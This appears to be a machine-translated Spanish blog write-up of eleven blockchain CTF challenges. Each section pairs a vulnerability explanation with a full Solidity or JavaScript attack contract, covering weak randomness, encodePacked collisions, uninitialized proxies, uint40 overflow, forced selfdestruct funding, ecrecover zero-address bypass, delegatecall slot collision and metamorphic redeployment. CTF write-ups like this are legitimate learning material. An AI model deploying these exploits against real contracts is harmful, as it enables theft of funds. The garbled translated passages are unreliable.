[Blockchain Security-CTF Protocol] Práctica de seguridad de contratos inteligentes de Blockchain (completada)

prefacio

Esta vez es para tratar el tema de CTF-PROTOCOLO , espero compartirlo con ustedes. Más adelante, debo referirme a la escritura y análisis POC de una serie de ataques lanzados por DeFiHackLabs, y participar en el Hackathon al mismo tiempo. ¡Trabajemos duro!

1. El gatito perdido

Análisis del tema:

HiddenKittyCatEn el contrato, la parte central es:

    constructor() {
        _owner = msg.sender;
        bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));

        assembly {
            sstore(slot, "KittyCat!")
        }
    }

Se puede saber que la ubicación del almacenamiento de gatitos está keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));determinada por. E Houseinteractuamos con el contrato, uno a la vez isKittyCatHere, generamos Kittyy buscamos.

Esta razón depende completamente de block.timestamp,block.number, similar a Ethernautla de flipflopcoin.

Después del despliegue, Houseel contrato es0xD50b65d0c843E70ab06666fEA69EC87Aa34581fB

Contrato de ataque:

pragma solidity  ^0.8.0;

interface IHouse{
    function isKittyCatHere(bytes32 _slot) external;
}

contract KittyHacker {

    constructor() {

    }

    function hack(address house) public {
        bytes32 slot = 
            keccak256(
                abi.encodePacked(
                    block.timestamp, 
                    blockhash(block.number - 69)
                    )
            );
        IHouse(house).isKittyCatHere(slot);
    }

}

Después del despliegue, el contrato de ataque es 0x3791eeD6c8fedAf433C8ce53B8Fa69C11e0b237Dlanzar un ataque, y el Hash es 0x6ced57a2de0f1dfe348f61b77e766d330a8c123cac2296cd61146796170940e9, que se ha modificado con éxito después del ataque.


2. Enraízame

El punto a señalar es que

accountByIdentifier[identifier] = msg.sender

yidentifier = keccak256(abi.encodePacked(user, salt));

Porque abi.encodePackedla explicación es la siguiente:

types shorter than 32 bytes are concatenated directly, without padding or sign extension

Por lo tanto, aunque la entrada de , también puede codificar el mismo efecto durante la implementación ROOT.ROOTROOTROOT

El contrato de ataque es el siguiente:

pragma solidity  ^0.8.0;

interface IRootMe{
    function register(string memory username, string memory salt) external;
    function write(bytes32 storageSlot, bytes32 data) external;

}

contract RootMeHacker {

    constructor(){

    }

    function testEncodePackedValue(string memory user, string memory salt) public pure returns (bytes memory) {
        bytes memory packed = abi.encodePacked(user, salt);
        return packed;
    }

    function attack(address target,bytes32  slot, bytes32  content) public{
        IRootMe(target).register("RO","OTROOT");
        IRootMe(target).write(slot,content);
    }
}

La dirección del contrato de implementación es 0xb92F069Aec3Ae791fA717FFC0D9FAE73039bB1a5. Primero use testEncodePackedValuela prueba aquí. La entrada de ( ROOT, ROOT) en realidad solo está empalmando los valores 0x524f4f54524f4f54, y Rel valor Ascii es 82, que Hexle corresponde 0x52.

Al mismo tiempo, primero registerobtenemos el permiso y luego writeescribimos 0000000000000000000000000000000000000000000000000000000000000000el valor en la ranura 0000000000000000000000000000000000000000000000000000000000000001. (Recuerde que al pasar parámetros, debe agregar 0x al frente). Las modificaciones se han completado después del ataque.


3. Tramposo

Probado, si JackpotProxyinteractúas directamente, no habrá ida y vuelta, ¿por qué?

Porque en JackpotProxy::constructor, creado _proxy, pero no inicializado initialize. Entonces claimPrize, cuando se llama ownery msg.senderno coincide, no se puede hacer.

Consideramos Goerlillamar a Tx en , puede obtenerlo JackPot=0x8Aa401B931C990DCA9D4d5EAbe67217e320D731Cy llamarlo directamente JackPot::initializepara obtener la propiedad.

Después de obtener, pase 100000000000000wei y llame al JackPot::claimPrize. En este punto, JackPotel saldo se ha vaciado.


4. El boleto dorado

Juicio preliminar para ver si existe una vulnerabilidad de desbordamiento waitlist[msg.sender] += uint40(_time);(sin marcar). Hay un problema aquí. VMEl modo en remix no se puede llamar de todos modos joinRaffle, y sigue informando errores Not Found. Pero no hay problema en modo inyector web3, desconozco el motivo. ¿Supongo que es un error?

pragma solidity  ^0.8.0;

interface IGoldenTicket{
    function joinWaitlist() external;
    function updateWaitTime(uint256) external;
    function joinRaffle(uint256) external;
    function giftTicket(address) external;
    function waitlist(address) external returns (uint40);
}

contract TheGoldenTicketHacker {
 
    constructor(){

    }

    function check(address _addr) public  returns (bool){
        return (IGoldenTicket(_addr).waitlist(address(this)) < block.timestamp );
    }

    function checkTimestamp() public view returns (uint256){
        return block.timestamp;
    }

    function attack(address _addr,address _to) public{
        IGoldenTicket(_addr).joinWaitlist();
        IGoldenTicket(_addr).updateWaitTime(type(uint40).max- IGoldenTicket(_addr).waitlist(address(this)) + 1 days);
        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        IGoldenTicket(_addr).joinRaffle(randomNumber);
        IGoldenTicket(_addr).giftTicket(_to);
    }
}

5. Horrocrux inteligente

Resultó Horrocruxsignificar 魂器que lo aprendí.

El punto de entrada debe estar aquí , analizamos destroyItla función , asumiendo que la entrada es la siguiente:callDataspell=111,magic=3calldata

0x60c4a9f1 // selector
0000000000000000000000000000000000000000000000000000000000000040 // 0x0 string index
0000000000000000000000000000000000000000000000000000000000000003 // 0x20 magic
0000000000000000000000000000000000000000000000000000000000000003 // 0x40 string length
3131310000000000000000000000000000000000000000000000000000000000 // string value
spellInBytes := mload(add(spell, 32))

La lectura anterior debe ser string value= 0x45746865724b6164616272610000000000000000000000000000000000000000(ascii -> bytes) por lo que el valor debe serEtherKadabra

Y debe (bytes4(bytes32(uint256(spellInBytes) - magic)))ser exactamente kill(el selector es 0x41c0e1b5) (el cálculo real debe ser que 56 0 deben agregarse más tarde), por lo quemagic=1674133761342824277929123818302714816965480662716616051558525647956333297664

Al mismo tiempo, no olvide establecerlo invincibleen falso. Esto requiere que el contrato sea solo 1wei, lo que solo se puede hacer a través de un contrato autodestructivo, por lo que también tenemos que escribir un contrato. El contrato de ataque final es el siguiente:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface ISmartHorrocrux {
    function destroyIt(string memory,uint256) external;
    function setInvincible() external;
}

contract Bomb {

    constructor() {

    }

    fallback() external payable {

    }

    function destroy(address victim) public{
        selfdestruct(payable(victim));
    }


}

contract SmartHorrocruxHacker {

    ISmartHorrocrux victim;

    constructor(address target) payable{
        victim = ISmartHorrocrux(target);
    }


    function attack(string memory spell, uint256 magic) public{
        Bomb bomb = new Bomb();
        payable(address(bomb)).transfer(1);
        payable(address(victim)).call("");
        bomb.destroy(address(victim));
        victim.setInvincible();
        victim.destroyIt(spell,magic);
    }
}

En este momento, el gas debe ser más alto, de lo contrario aparecerá outOfGas.

PD: ¡La experiencia Remix es simplemente terrible! Perdí mucho de mi tiempo!


6. Válvula de gas

Preste atención a esta pregunta: model no. EIP-150, hay explicaciones de la siguiente manera:使用ADD这样的简单操作相对于复杂计算操作,例如用SHA256加密一个特定的数字,会消耗较少的gas。攻击者通过在他的交易合同中不断的使用某些特定的opcodes使得整个交易变得计算复杂却在网络上消耗极少的费用。

problema aquí

        try nozzle.insert() returns (bool result) {
            lastResult = result;
            return result;
        } catch {
            lastResult = false;
            return false;
        }

Cuando se lanza una excepción, se considerará un error; de lo contrario, result=falseregresará directamente.

De hecho, la idea es muy simple, ¿cómo consumirlo todo gas? Intentar llamar a un bucle hasta que se alcanza la profundidad máxima falla (provoca una excepción). Al observar Gas Refund , puede ver que selfdestructse activará de inmediato gasRefundsin generar una excepción.

El contrato de ataque es el siguiente:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract ValveHacker {

    constructor() {

    }

    function insert() public returns (bool result) {
        selfdestruct(payable(msg.sender));
    }

}

7. Apestaba

El problema es ese:

require(amountGMEin / ORACLE_TSLA_GME == amountTSLAout, "Invalid price");

Debido a que no hay decimales en la solidez, dará lugar a una situación en la que el número entero se divide en 0, es decir, cuando lo cambias 1/2=0, puedes cambiarlo por una pequeña cantidad, pero en realidad no puedes obtener nada.GMETSLA

Al principio, quería usar el contrato para atacar, pero luego descubrí que estaba completamente escrito msg.sender, así que solo podía usar js para escribirlo.

const abi = [
    "function buyTSLA(uint256 amountGMEin, uint256 amountTSLAout)",
    "function sellTSLA(uint256 amountTSLAin, uint256 amountGMEout)"
];

const addressStonk = '0x1552F5d5e9d31E51a412a8E5DA2b8F27040Dfb3a';
const contract= new ethers.Contract(addressStonk, abi, provider);

console.log(contract);

async function attack(){
    
    
    const tx1 = await contract.connect(hacker).sellTSLA(20,1000);
    await tx1.wait();
    console.log(tx1);

    for (i = 0 ;i < 50; i++){
    
    
        await contract.connect(hacker).buyTSLA(40,0);
    }
}

attack();

PD: Asesino de gases!


8. Pelusa

Es un poco limitado require(msg.sender.code.length == 0, "Only EOA players");y tiene que implementar IGamey handOfGod()funciones. Esto se indica para ser code.length=0llamado cuando se crea el procedimiento passTheBall. Y también delegateCallmodificando la variable en la segunda ranura.

¡Parece que hay un gran agujero aquí! En remix, los resultados de blockhash parecen ser diferentes en diferentes bloques. Lo estudié detenidamente:

所述block.number状态变量允许获得所述当前块的高度。当矿工获得执行合约代码的交易时,block.number该交易的未来区块的 的 是已知的,因此合约可以可靠地访问其价值。但是,在 EVM 中执行交易的那一刻,由于显而易见的原因,正在创建的区块的区块哈希尚不可知,并且 EVM 将始终产生零。

entonces:

        value = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));
        value2 = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, bytes32(0))))));

¡Los dos resultados anteriores son iguales!

Así que el contrato de ataque es el siguiente:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract PelusaHacker {

    Exploit public exp;

    constructor() {

    }

    function attack(address target, address sender) public{

        while (true) {
            exp = new Exploit(target);
            if (uint256(uint160(address(exp))) % 100 == 10){
                break;
            }
        }
        exp.setParam(sender);
        exp.attack();

    }

}


contract Exploit {

    address public  fakeOwner;
    uint256 private shot = 0;
    address private target;

    constructor(address _target){
        target = _target;
        if (uint256(uint160(address(this))) % 100 == 10){
            IPelusa(target).passTheBall();
        }
    }

    function setParam(address sender) public {
        fakeOwner =  address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, bytes32(0))))));
    }

    function getBallPossesion() public view returns (address){
        return fakeOwner;
    }

    function handOfGod() public returns (uint256){
        shot = shot + 1;
        return 22061986;
    }

    function attack() public {
        IPelusa(target).shoot();
    }
}

interface IPelusa{
    function passTheBall() external;
    function shoot() external;
}

Al atacar, debemos encontrar al remitente:"0xaa758e00eca745cab9232b207874999f55481951"

Recuerda gaslevantarlo un poco. Como resultado, parece que todavía hay problemas en la red de prueba, ¡y estará bien después de volver a ejecutarla!


9. ¡Hackea la nave nodriza!

El problema ocurre en:

(bool success,) = module.delegatecall(msg.data);

Y apareció modulede nuevo .spaceshipslot collision

Queremos hacked = true;, necesitamos estar satisfechos leader == msg.sender, así que necesitamos

promoteToLeader(address _leader), aquí debe satisfacer:

The proposed leader is a spaceship captain
	=> assignNewCaptainToShip(address _newCaptain) mothership
		=> askForNewCaptain(address _newCaptain) spaceship
        	=> _isCrewMember(address)
    => isLeaderApproved(address) => OK

Entonces nuestro pensamiento:

  1. Para spaceship, configúrelo captainen 0, agréguese usted mismo fleet,askForNewCaptain
  2. addModuleModificar LeaderShipel contrato de apuntamiento, directamente a través de
  3. promoteToLeader

Porque todo hay que pasarlo, spaceshiptodo captainhay que revisarlo.

El contrato de ataque es el siguiente:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract ShipHacker {

    IMotherShip public ship;
    FakeCaptain public captain;
    ISpaceShip public spaceship;

    constructor(address target) {
        ship = IMotherShip(target);
    }

    function fleet(uint256 x)  public{
        ship.fleet(x);
    }

    function attack() public{
        for (uint i = 0; i < 5; i++){
            spaceship = ISpaceShip(ship.fleet(i));
            captain = new FakeCaptain();
            spaceship.replaceCleaningCompany(address(0));
            spaceship.addAlternativeRefuelStationsCodes(uint256(uint160((address(captain)))));
            captain.attack(address(spaceship));
        }
        ship.promoteToLeader(address(captain));
        captain.hack(address(ship));
    }


}

contract FakeCaptain {

    constructor() {

    }

    function hack(address _ship) external {
        IMotherShip(_ship).hack();
    }

    function attack(address _spaceship) public {
        ISpaceShip(_spaceship).askForNewCaptain(address(this));
        ISpaceShip(_spaceship).addModule(ISpaceShip.isLeaderApproved.selector,address(this));
    }


    function isLeaderApproved(address) external pure {

    }
}

interface IMotherShip{
    function hack() external;
    function promoteToLeader(address _leader) external;
    function fleet(uint256) external returns (address);
}

interface ISpaceShip{
    function askForNewCaptain(address _newCaptain) external;
    function addModule(bytes4 _moduleSig, address _moduleAddress) external;
    function replaceCleaningCompany(address _cleaningCompany) external;
    function addAlternativeRefuelStationsCodes(uint256 refuelStationCode) external;
    function isLeaderApproved(address) external pure;
}

10. Fénix

        assembly {
            x := create2(0, add(_code, 0x20), mload(_code), 0)
        }
        addr = x;

Observa con atención, este es el contrato Metamórfico.

5860208158601c335a63aaf10f428752fa158151803b80938091923cf3,这串bytecode的原理是staticcall调用getImplementation方法,获取implementation合约地址,再用extcodecopy把implementation合约的runtime bytecode复制到memory,做为当前部署合约的runtime bytecode,以此来动态替换合约的runtime bytecode,而合约地址又不变。

¡Por lo tanto, primero autodestruimos el contrato (manualmente) y luego modificamos el contrato lógico (completado atacando el contrato)!

通过`capture`手动销毁

Contrato de ataque:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract PhoenixttoHacker {

    constructor(){

    }

    function attack(address _target) public{
        ILab(_target).reBorn(type(Phoenixtto2).creationCode);
    }

    fallback() external payable {

    }
}

contract Phoenixtto2 {
    address public owner;
    bool private _isBorn;

    function reBorn() external {
        if (_isBorn) return;

        _isBorn = true;
        owner = PLAYER_ADDRESS;
    }

    function capture(string memory _newOwner) external {
        if (!_isBorn || msg.sender != tx.origin) return;

        address newOwner = address(uint160(uint256(keccak256(abi.encodePacked(_newOwner)))));
        if (newOwner == msg.sender) {
            owner = newOwner;
        } else {
            selfdestruct(payable(msg.sender));
            _isBorn = false;
        }
    }
}

interface ILab{
    function reBorn(bytes memory _code) external;
}

11. Supermercado Metaverso

buyUsingOracle(OraclePrice calldata oraclePrice, Signature calldata signature)

Aqui oraclePrice y firma se separan, solo saber que hay una firma, quien sabe si esta firmada? El problema es

ecrecover could return address(0) in case of an error!

¡Y no tenemos nada que Oraclever con la inicialización! Entonces, recovered == oraclenaturalmente, está establecido, podemos completarlo a voluntad.

contrato de ataque

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;


struct OraclePrice {
    uint256 blockNumber;
    uint256 price;
}

struct Signature {
    uint8 v;
    bytes32 r;
    bytes32 s;
}


contract InflatStoreHacker {

    constructor() {

    }

    function attack(address store) public{
        OraclePrice memory price = OraclePrice(block.number,0);
        Signature memory sig = Signature(27, 0, 0);
        IInflaStore s = IInflaStore(store);
        IMeal meal = IMeal(s.meal());
        for (uint i = 0; i< 10; i++){
            s.buyUsingOracle(price,sig);
            meal.transferFrom(address(this),0x4fd74AF56b8843b07A30DE799174AEc8ad8DF577,i);
        }
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {
        return InflatStoreHacker.onERC721Received.selector;
    }

}

interface IInflaStore{
    function meal() external returns (address);
    function buyUsingOracle(OraclePrice calldata oraclePrice, Signature calldata signature) external;
}

interface IMeal {
    function transferFrom(address,address,uint256) external;
}

¡Desafío completado!

Guess you like

Origin blog.csdn.net/weixin_43982484/article/details/130300133
Recommended